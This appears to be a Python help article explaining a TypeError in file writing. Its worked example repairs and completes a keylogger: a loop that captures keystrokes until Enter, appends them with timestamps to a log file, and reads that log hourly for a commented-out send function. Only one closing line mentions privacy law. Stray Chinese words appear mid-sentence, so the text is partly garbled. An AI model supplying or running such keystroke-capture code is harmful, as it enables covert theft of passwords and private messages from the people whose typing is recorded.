Resolving TypeError in Python File Writing: write() Argument Must Be String Type

Problem Analysis and Diagnosis

In Python file operations, the write() method has strict parameter type requirements, accepting only string types as input. Attempting to write non-string data triggers TypeError: write() argument must be str, not [type]. This limitation stems from the fundamental design of file systems, where file contents are stored as byte sequences at the底层 level, with strings being Python's primary representation for text data.

Core Error Analysis

The provided code example exhibits two critical type mismatch issues:

1. The now_time variable is a datetime.datetime object, belonging to Python's datetime type rather than string type
2. The recorded variable is a list type containing keyboard event records, requiring conversion to string before file writing

The original code's w.write(now_time) and w.write(recorded) statements directly attempt to write these non-string objects, violating the basic contract of the write() method and thus triggering type errors.

Solution Implementation

Datetime Object Conversion

For datetime objects, the simplest conversion approach uses Python's built-in str() function:

now_time = datetime.datetime.now()
w.write(str(now_time))

This method converts the datetime object to its default string representation. For specific formatting needs, the strftime() method can be employed:

formatted_time = now_time.strftime("%Y-%m-%d %H:%M:%S")
w.write(formatted_time)

List Data Conversion

For keyboard recording lists, appropriate conversion based on the specific data structure is required. Assuming keyboard.record() returns an event list, it can be processed as follows:

recorded = keyboard.record(until='enter')
typedstr = " ".join(keyboard.get_typed_strings(recorded))
w.write(typedstr)

Here, keyboard.get_typed_strings() extracts actual input strings from the event list, which are then concatenated into a single string using the join() method. If the list contains other data types, custom conversion logic may be necessary.

Complete Code Refactoring

Based on the above analysis, the original code can be refactored as:

import datetime
import time
import keyboard

def file_input(recorded_str, timestamp):
    """Write recorded data to log file"""
    with open("LOG.txt", 'a', encoding='utf-8') as w:
        w.write(recorded_str)
        w.write("\n")
        w.write(str(timestamp))
        w.write("--------------------------------------\n")

if __name__ == "__main__":
    while True:
        status = time.localtime()
        
        # Record keyboard input
        keyboard.press_and_release('space')
        recorded = keyboard.record(until='enter')
        
        # Convert recorded data to string
        typedstr = " ".join(keyboard.get_typed_strings(recorded))
        
        # Get current time
        now_time = datetime.datetime.now()
        
        # Write to file
        file_input(typedstr, now_time)
        
        # Scheduled log sending (every hour at 30 minutes)
        if status.tm_min == 30:
            with open("LOG.txt", 'r', encoding='utf-8') as f:
                file_content = f.read()
            # send_simple_message(file_content)  # Assumed sending function

Type-Safe Programming Practices

To avoid similar type errors, the following programming practices are recommended:

1. Explicit Type Checking: Validate data types at critical data flow points
2. Defensive Conversion: Ensure data conversion to strings before file writing
3. Context Managers: Use with statements for file resource management, ensuring proper closure during exceptions
4. Encoding Specification: Explicitly specify file encoding to avoid cross-platform compatibility issues

Extended Discussion

Beyond basic type conversion, file writing operations involve other important considerations:

• Performance Optimization: For大量 data writing, consider buffering or batch writing strategies
• Exception Handling: Add appropriate exception handling mechanisms for file permissions, disk space issues, etc.
• Data Formatting: Design appropriate data formats based on application requirements, such as JSON, CSV等 structured formats
• Security Considerations: Keyloggers involve privacy and security concerns; practical applications must comply with relevant laws and regulations

By properly handling data type conversion, not only can TypeError issues be resolved, but code robustness and maintainability can also be improved, laying the foundation for more complex file operations.